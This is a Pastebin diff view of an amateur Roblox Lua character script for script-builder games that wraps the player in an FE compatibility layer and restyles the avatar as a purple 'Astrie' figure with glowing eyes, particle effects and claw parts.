View difference between Paste ID: pmZdreCB and 72e3S1Nh
SHOW: | | - or go back to the newest paste.
1
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2
local Player,Mouse,mouse,UserInputService,ContextActionService = owner
3
local RealPlayer = Player
4
do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end
5
 
6
paly = game.Players.LocalPlayer
7
Player = game:GetService("Players").LocalPlayer
8
p = game.Players.LocalPlayer
9
char = paly.Character
10
vt = Vector3.new
11
rarm = char["Right Arm"]
12
hed = char.Head
13
larm = char["Left Arm"]
14
rleg = char["Right Leg"]
15
lleg = char["Left Leg"]
16
local maincolor = BrickColor.random()
17
local effolemode = false
18
local wrathmode = false
19
local noobmode = false
20
local randomname = "???"
21
local randomnamefem = "???"
22
local randomchanger = 6
23
if paly.Name == "BINO2002" then
24
randomchanger = 6
25
end
26
if randomchanger == 6 then
27
randomnamefem = "Astrie"
28
effolemode = true
29
maincolor = BrickColor.new("Royal purple")
30
31
local torsmesh = Instance.new("CharacterMesh", char)
32
torsmesh.BodyPart = "Torso"
33
torsmesh.MeshId = "48112070"
34
local dec2 = Instance.new("Decal", char)
35
dec2.Face = "Front"
36
dec2.Texture = "rbxassetid://381091841"
37
dec2.Parent = char.Head
38
char.Head.face.Transparency = 1
39
char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
40
41
for i,v in pairs(char:children()) do
42
    if v:IsA("Hat") then
43
        v:Destroy()
44
    end
45
end
46
for i,v in pairs(char:children()) do
47
    if v:IsA("Accessory") then
48
        v:Destroy()
49
    end
50
end
51
for i,v in pairs(char:children()) do
52
    if v:IsA("Hair") then
53
        v:Destroy()
54
    end
55
end
56
for i,v in pairs(char:children()) do
57
    if v:IsA("Shirt") then
58
        v:Destroy()
59
    end
60
end
61
for i,v in pairs(char:children()) do
62
    if v:IsA("Pants") then
63
        v:Destroy()
64
    end
65
end
66
67
local eye12 = Instance.new("Part")
68
eye12.Parent = char
69
eye12.Size = Vector3.new(0.2, 0.2, 0.2)
70
eye12.Archivable = true
71
eye12.Transparency = 0
72
eye12.Shape = "Ball"
73
eye12.BrickColor = maincolor
74
eye12.Material = "Neon"
75
eye12.CanCollide = false
76
local mesh2 = Instance.new("SpecialMesh",eye12)
77
mesh2.MeshType = "Sphere"
78
mesh2.Scale = Vector3.new(0.75, 1, 1)
79
local weld1en2 = Instance.new("Weld")
80
weld1en2.Parent = hed
81
weld1en2.Part0 = hed
82
weld1en2.Part1 = eye12
83
weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
84
local eye1 = Instance.new("Part")
85
eye1.Parent = char
86
eye1.Size = Vector3.new(0.2, 0.2, 0.2)
87
eye1.Archivable = true
88
eye1.Transparency = 0
89
eye1.Shape = "Ball"
90
eye1.BrickColor = maincolor
91
eye1.Material = "Neon"
92
eye1.CanCollide = false
93
local mesh = Instance.new("SpecialMesh",eye1)
94
mesh.MeshType = "Sphere"
95
mesh.Scale = Vector3.new(0.75, 1, 1)
96
local weld1en = Instance.new("Weld")
97
weld1en.Parent = hed
98
weld1en.Part0 = hed
99
weld1en.Part1 = eye1
100
weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
101
102
local BC = char["Body Colors"]
103
BC.HeadColor = BrickColor.new("White")
104
BC.LeftArmColor = BrickColor.new("White")
105
BC.LeftLegColor = BrickColor.new("White")
106
BC.RightArmColor = BrickColor.new("White")
107
BC.RightLegColor = BrickColor.new("White")
108
BC.TorsoColor = BrickColor.new("White")
109
110
ypcall(function()
111
shirt = Instance.new("Shirt", char)
112
shirt.Name = "Shirt"
113
pants = Instance.new("Pants", char)
114
pants.Name = "Pants"
115
char.Shirt.ShirtTemplate = "rbxassetid://211752973"
116
char.Pants.PantsTemplate = "rbxassetid://179059579"
117
end)
118
Reaper2 = Instance.new("Model")
119
Reaper2.Parent = Player.Character
120
Reaper2.Name = "Reaper2"
121
rh2 = Instance.new("Part")
122
rh2.Parent = Reaper2
123
rh2.BrickColor = maincolor
124
rh2.Locked = true
125
rh2.CanCollide = false
126
mesh2 = Instance.new("SpecialMesh")
127
rh2.formFactor =  "Symmetric"
128
mesh2.MeshType = "FileMesh"
129
mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
130
mesh2.Parent = rh2
131
local weld2 = Instance.new("Weld")
132
weld2.Parent = rh2
133
rh2.Transparency = 0
134
weld2.Part0 = rh2
135
weld2.Part1 = Player.Character.Head
136
weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
137
138
Reaper3 = Instance.new("Model")
139
Reaper3.Parent = Player.Character
140
Reaper3.Name = "Reaper3"
141
rh3 = Instance.new("Part")
142
rh3.Parent = Reaper3
143
rh3.BrickColor = BrickColor.new("Really black")
144
rh3.Locked = true
145
rh3.CanCollide = false
146
mesh3 = Instance.new("SpecialMesh")
147
rh3.formFactor =  "Symmetric"
148
mesh3.MeshType = "FileMesh"
149
mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
150
mesh3.Parent = rh3
151
local weld3 = Instance.new("Weld")
152
weld3.Parent = rh3
153
rh3.Transparency = 0
154
weld3.Part0 = rh3
155
weld3.Part1 = Player.Character.Head
156
weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
157
158
local orbe = Instance.new("Part")
159
orbe.Parent = char
160
orbe.Size = Vector3.new(0.2, 0.2, 0.2)
161
orbe.Archivable = true
162
orbe.Transparency = 1
163
orbe.BrickColor = maincolor
164
orbe.Material = "Neon"
165
orbe.CanCollide = false
166
local weld1e = Instance.new("Weld")
167
weld1e.Parent = rleg
168
weld1e.Part0 = rleg
169
weld1e.Part1 = orbe
170
weld1e.C1 = CFrame.new(0, 1.125, 0)
171
local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
172
local pt2e = NumberSequenceKeypoint.new(1,0,0)
173
local effectoe = Instance.new("ParticleEmitter",orbe)
174
effectoe.LightEmission = 1
175
effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
176
effectoe.Color = ColorSequence.new(maincolor.Color)
177
effectoe.Rate = 10000
178
effectoe.Lifetime = NumberRange.new(1)
179
effectoe.Size = NumberSequence.new({pt1e,pt2e})
180
effectoe.Speed = NumberRange.new(0,0)
181
effectoe.RotSpeed = NumberRange.new(100,100)
182
183
local orbze = Instance.new("Part")
184
orbze.Parent = char
185
orbze.Size = Vector3.new(0.2, 0.2, 0.2)
186
orbze.Archivable = true
187
orbze.Transparency = 1
188
orbze.BrickColor = maincolor
189
orbze.Material = "Neon"
190
orbze.CanCollide = false
191
local weldz1 = Instance.new("Weld")
192
weldz1.Parent = lleg
193
weldz1.Part0 = lleg
194
weldz1.Part1 = orbze
195
weldz1.C1 = CFrame.new(0, 1.125, 0)
196
local effectone = Instance.new("ParticleEmitter",orbze)
197
effectone.LightEmission = 1
198
effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
199
effectone.Color = ColorSequence.new(maincolor.Color)
200
effectone.Rate = 10000
201
effectone.Lifetime = NumberRange.new(1)
202
effectone.Size = NumberSequence.new({pt1e,pt2e})
203
effectone.Speed = NumberRange.new(0,0)
204
effectone.RotSpeed = NumberRange.new(100,100)
205
end
206
207
if effolemode == true then
208
maincolor = BrickColor.new("Royal purple")
209
end
210
211
local orb = Instance.new("Part")
212
orb.Parent = char
213
orb.Size = Vector3.new(1, 1, 1)
214
orb.Archivable = true
215
orb.Transparency = 1
216
orb.BrickColor = BrickColor.new("Bright orange")
217
orb.Material = "Wood"
218
orb.CanCollide = false
219
local weld1 = Instance.new("Weld")
220
weld1.Parent = rarm
221
weld1.Part0 = rarm
222
weld1.Part1 = orb
223
weld1.C1 = CFrame.new(0, 1.125, 0)
224
local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
225
local pt2 = NumberSequenceKeypoint.new(1,0,0)
226
local effecto = Instance.new("ParticleEmitter",orb)
227
effecto.LightEmission = 1
228
effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
229
effecto.Color = ColorSequence.new(maincolor.Color)
230
effecto.Rate = 10000
231
effecto.Lifetime = NumberRange.new(1)
232
effecto.Size = NumberSequence.new({pt1,pt2})
233
effecto.Speed = NumberRange.new(0,0)
234
effecto.RotSpeed = NumberRange.new(100,100)
235
236
local orbz = Instance.new("Part")
237
orbz.Parent = char
238
orbz.Size = Vector3.new(1, 1, 1)
239
orbz.Archivable = true
240
orbz.Transparency = 1
241
orbz.BrickColor = BrickColor.new("Bright orange")
242
orbz.Material = "Wood"
243
orbz.CanCollide = false
244
local weldz1 = Instance.new("Weld")
245
weldz1.Parent = larm
246
weldz1.Part0 = larm
247
weldz1.Part1 = orbz
248
weldz1.C1 = CFrame.new(0, 1.125, 0)
249
local effecton = Instance.new("ParticleEmitter",orbz)
250
effecton.LightEmission = 1
251
effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
252
effecton.Color = ColorSequence.new(maincolor.Color)
253
effecton.Rate = 10000
254
effecton.Lifetime = NumberRange.new(1)
255
effecton.Size = NumberSequence.new({pt1,pt2})
256
effecton.Speed = NumberRange.new(0,0)
257
effecton.RotSpeed = NumberRange.new(100,100)
258
259
260
p = game.Players.LocalPlayer
261
char = p.Character
262
torso = char.Torso
263
neck = char.Torso.Neck
264
hum = char.Humanoid
265
hum.MaxHealth = 10000
266
wait()
267
hum.Health =hum.MaxHealth
268
269
CV="Hot pink"
270
	
271
local txt = Instance.new("BillboardGui", char)
272
txt.Adornee = char .Head
273
txt.Name = "_status"
274
txt.Size = UDim2.new(2, 0, 1.2, 0)
275
txt.StudsOffset = Vector3.new(-9, 8, 0)
276
local text = Instance.new("TextLabel", txt)
277
text.Size = UDim2.new(10, 0, 7, 0)
278
text.FontSize = "Size24"
279
text.TextScaled = true
280
text.TextTransparency = 0
281
text.BackgroundTransparency = 1 
282
text.TextTransparency = 0
283
text.TextStrokeTransparency = 0
284
text.Font = "SciFi"
285
text.TextStrokeColor3 = Color3.new(0,0,0)
286
287
v=Instance.new("Part")
288
v.Name = "ColorBrick"
289
v.Parent=p.Character
290
v.FormFactor="Symmetric"
291
v.Anchored=true
292
v.CanCollide=false
293
v.BottomSurface="Smooth"
294
v.TopSurface="Smooth"
295
v.Size=Vector3.new(10,5,3)
296
v.Transparency=1
297
v.CFrame=char.Torso.CFrame
298
v.BrickColor=BrickColor.new(CV)
299
v.Transparency=1
300
text.TextColor3 = BrickColor.new("Royal purple").Color
301
v.Shape="Block"
302
text.Text = "Astrie"
303
304
305
euler = CFrame.fromEulerAnglesXYZ
306
angles = CFrame.Angles
307
local player = "LocalPlayer"
308
local Character = game.Players[player].Character
309
it = Instance.new
310
vt = Vector3.new
311
bc = BrickColor.new
312
cf = CFrame.new
313
mr = math.rad
314
local Weapon = {}
315
local p = game.Players.LocalPlayer
316
local char = p.Character
317
local mouse = p:GetMouse()
318
local larm = char["Left Arm"]
319
local rarm = char["Right Arm"]
320
local lleg = char["Left Leg"]
321
local rleg = char["Right Leg"]
322
local hed = char.Head
323
local torso = char.Torso
324
local hum = char.Humanoid
325
local cam = game.Workspace.CurrentCamera
326
local root = char.HumanoidRootPart
327
local deb = false
328
local shot = 0
329
330
local debris=game:service"Debris"
331
local l = game:GetService("Lighting")
332
local rs = game:GetService("RunService").RenderStepped
333
ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
334
math.randomseed(os.time())
335
for i,v in pairs (hed:GetChildren()) do
336
        if v:IsA("Sound") then
337
                v:Destroy()
338
        end
339
end
340
---------------------------------------------------- BeastClaw
341
NoOutline = function(Part)
342
  Part.TopSurface = 10
343
end
344
part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
345
  local fp = it("Part")
346
  fp.formFactor = formfactor
347
  fp.Parent = parent
348
  fp.Reflectance = reflectance
349
  fp.Transparency = transparency
350
  fp.CanCollide = false
351
  fp.Locked = true
352
  fp.BrickColor = brickcolor
353
  fp.Name = name
354
  fp.Size = size
355
  NoOutline(fp)
356
  fp.Material = "Neon"
357
  fp:BreakJoints()
358
  return fp
359
end
360
mesh = function(Mesh, part, meshtype, meshid, offset, scale)
361
  local mesh = it(Mesh)
362
  mesh.Parent = part
363
  if Mesh == "SpecialMesh" then
364
    mesh.MeshType = meshtype
365
    if meshid ~= "nil" then
366
      mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
367
    end
368
  end
369
  mesh.Offset = offset
370
  mesh.Scale = scale
371
  return mesh
372
end
373
weld = function(parent, part0, part1, c0)
374
  local weld = it("Motor6D")
375
  weld.Parent = parent
376
  weld.Part0 = part0
377
  weld.Part1 = part1
378
  weld.C0 = c0
379
  return weld
380
end
381
gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
382
  local gui = it(GuiType)
383
  gui.Parent = parent
384
  gui.BackgroundTransparency = backtrans
385
  gui.BackgroundColor3 = backcol
386
  gui.SizeConstraint = "RelativeXY"
387
  gui.Position = pos
388
  gui.Size = size
389
  if GuiType == "TextLabel" then
390
    gui.Text = text
391
    gui.TextXAlignment = "Center"
392
    gui.TextYAlignment = "Center"
393
    gui.Font = "SourceSans"
394
    gui.FontSize = "Size14"
395
    gui.TextWrapped = false
396
    gui.TextStrokeTransparency = 0
397
    gui.TextColor = TorsoColor
398
  else
399
    if GuiType == "ImageLabel" then
400
      gui.Image = "rbxassetid://" .. image
401
      gui.ImageColor3 = backcol
402
    end
403
  end
404
  return gui
405
end
406
local handle = nil
407
AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
408
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
409
  prt.Material = neon
410
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
411
  wld = weld(handle, prt, wldpar, ceef)
412
  v = it("NumberValue", prt)
413
  v.Value = trans
414
  v.Name = "MainTransparency"
415
  return prt, msh, wld
416
end
417
AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
418
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
419
  prt.Material = neon
420
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
421
  wld = weld(wldpare, prt, wldpar, ceef)
422
  v = it("NumberValue", prt)
423
  v.Value = trans
424
  v.Name = "MainTransparency"
425
  return prt, msh, wld
426
end
427
local modelzorzez = Instance.new("Model")
428
modelzorzez.Parent = workspace.CurrentCamera
429
modelzorzez.Name = "none"
430
local Torso = Character.Torso
431
local LeftArm = Character["Left Arm"]
432
local RightArm = Character["Right Arm"]
433
local LeftLeg = Character["Left Leg"]
434
local RightLeg = Character["Right Leg"]
435
local Head = Character.Head
436
local RootPart = Character.HumanoidRootPart
437
handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
438
local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
439
440
-- SAHHHH DUUDEEE
441
442
443
444
445
-- params : ...
446
447
wait(0.016666666666667)
448
script.Archivable = false
449
Effects = {}
450
local Player = game.Players.localPlayer
451
local Character = Player.Character
452
local Humanoid = Character.Humanoid
453
local mouse = Player:GetMouse()
454
local m = Instance.new("Model", Character)
455
m.Name = "WeaponModel"
456
local effect = Instance.new("Model", Character)
457
effect.Name = "effecsfsafzx"
458
local demon = Instance.new("Model", Character)
459
demon.Name = "demdemd"
460
local LeftArm = Character["Left Arm"]
461
local RightArm = Character["Right Arm"]
462
local LeftLeg = Character["Left Leg"]
463
local RightLeg = Character["Right Leg"]
464
local do2target = nil
465
local Head = Character.Head
466
local Torso = Character.Torso
467
TorsoColor = BrickColor.new("Royal purple")
468
z = Instance.new("Sound", Torso)
469
z.SoundId = "rbxassetid://0" -- Put Music ID Here.
470
z.Looped = true
471
z.Pitch = 0
472
z.Volume = 0
473
wait(.1)
474
z:Play()
475
local cam = game.Workspace.CurrentCamera
476
local RootPart = Character.HumanoidRootPart
477
local RootJoint = RootPart.RootJoint
478
local equipped = false
479
local attack = false
480
local Anim = "Idle"
481
local idle = 0
482
local attacktype = 1
483
local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
484
local velocity = RootPart.Velocity.y
485
local sine = 0
486
local change = 1
487
local mana = 0
488
local it = Instance.new
489
vt = Vector3.new
490
local grabbed = false
491
local cf = CFrame.new
492
local mr = math.rad
493
local angles = CFrame.Angles
494
local ud = UDim2.new
495
local c3 = Color3.new
496
clerp = function(a, b, t)
497
  
498
  return a:lerp(b, t)
499
end
500
501
local RbxUtility = LoadLibrary("RbxUtility")
502
local Create = RbxUtility.Create
503
RemoveOutlines = function(part)
504
  
505
  part.TopSurface = 10
506
end
507
508
CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
509
  
510
  local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
511
  RemoveOutlines(Part)
512
  return Part
513
end
514
515
CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
516
  
517
  local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
518
  if Mesh == "SpecialMesh" then
519
    Msh.MeshType = MeshType
520
    Msh.MeshId = MeshId
521
  end
522
  return Msh
523
end
524
525
local co1 = 3
526
local co2 = 10
527
local co3 = 15
528
local co4 = 30
529
local cooldown1 = 0
530
local cooldown2 = 0
531
local cooldown3 = 0
532
local cooldown4 = 0
533
local maxEnergy = 100
534
local Energy = 0
535
local skill1stam = 1000
536
local skill2stam = 1000
537
local skill3stam = 1000
538
local skill4stam = 1000
539
local recovermana = 5
540
local skillcolorscheme = BrickColor.new("White").Color
541
local scrn = Instance.new("ScreenGui", Player.PlayerGui)
542
makeframe = function(par, trans, pos, size, color)
543
  
544
  local frame = Instance.new("Frame", par)
545
  frame.BackgroundTransparency = trans
546
  frame.BorderSizePixel = 0
547
  frame.Position = pos
548
  frame.Size = size
549
  frame.BackgroundColor3 = color
550
  return frame
551
end
552
553
makelabel = function(par, text)
554
  
555
  local label = Instance.new("TextLabel", par)
556
  label.BackgroundTransparency = 1
557
  label.Size = UDim2.new(1, 0, 1, 0)
558
  label.Position = UDim2.new(0, 0, 0, 0)
559
  label.TextColor3 = Color3.new(255, 255, 255)
560
  label.TextStrokeTransparency = 0
561
  label.FontSize = Enum.FontSize.Size32
562
  label.Font = Enum.Font.SourceSansLight
563
  label.BorderSizePixel = 0
564
  label.TextScaled = true
565
  label.Text = text
566
end
567
568
ArtificialHB = Instance.new("BindableEvent", script)
569
ArtificialHB.Name = "Heartbeat"
570
script:WaitForChild("Heartbeat")
571
frame = 0.033333333333333
572
tf = 0
573
allowframeloss = false
574
tossremainder = false
575
lastframe = tick()
576
script.Heartbeat:Fire()
577
game:GetService("RunService").Heartbeat:connect(function(s, p)
578
  
579
  tf = tf + s
580
  if frame <= tf then
581
    if allowframeloss then
582
      script.Heartbeat:Fire()
583
      lastframe = tick()
584
    else
585
      for i = 1, math.floor(tf / frame) do
586
        script.Heartbeat:Fire()
587
      end
588
      lastframe = tick()
589
    end
590
    if tossremainder then
591
      tf = 0
592
    else
593
      tf = tf - frame * math.floor(tf / frame)
594
    end
595
  end
596
end
597
)
598
swait = function(num)
599
  
600
  if num == 0 or num == nil then
601
    ArtificialHB.Event:wait()
602
  else
603
    for i = 0, num do
604
      ArtificialHB.Event:wait()
605
    end
606
  end
607
end
608
609
CreateWeld = function(Parent, Part0, Part1, C0, C1)
610
  
611
  local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
612
  return Weld
613
end
614
615
rayCast = function(Position, Direction, Range, Ignore)
616
  
617
  return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
618
end
619
620
CreateSound = function(id, par, vol, pit)
621
  
622
  coroutine.resume(coroutine.create(function()
623
    
624
    local sou = Instance.new("Sound", par or workspace)
625
    sou.Volume = vol
626
    sou.Pitch = pit or 1
627
    sou.SoundId = id
628
    swait()
629
    sou:play()
630
    game:GetService("Debris"):AddItem(sou, 6)
631
  end
632
))
633
end
634
635
local getclosest = function(obj, distance)
636
  
637
  local last, lastx = distance + 1, nil
638
  for i,v in pairs(workspace:GetChildren()) do
639
    if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
640
      local t = v.Torso
641
      local dist = t.Position - obj.Position.magnitude
642
      if dist <= distance and dist < last then
643
        last = dist
644
        lastx = v
645
      end
646
    end
647
  end
648
  return lastx
649
end
650
651
CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
652
  
653
  if PartType == "Part" then
654
    local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
655
    RemoveOutlines(Part)
656
    return Part
657
  else
658
    do
659
      if PartType == "WedgePart" then
660
        local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
661
        RemoveOutlines(Part)
662
        return Part
663
      end
664
    end
665
  end
666
end
667
668
Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
669
HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
670
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
671
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
672
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
673
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
674
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
675
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
676
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
677
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
678
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
679
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
680
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
681
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
682
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
683
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
684
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
685
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
686
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
687
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
688
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
689
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
690
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
691
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
692
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
693
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
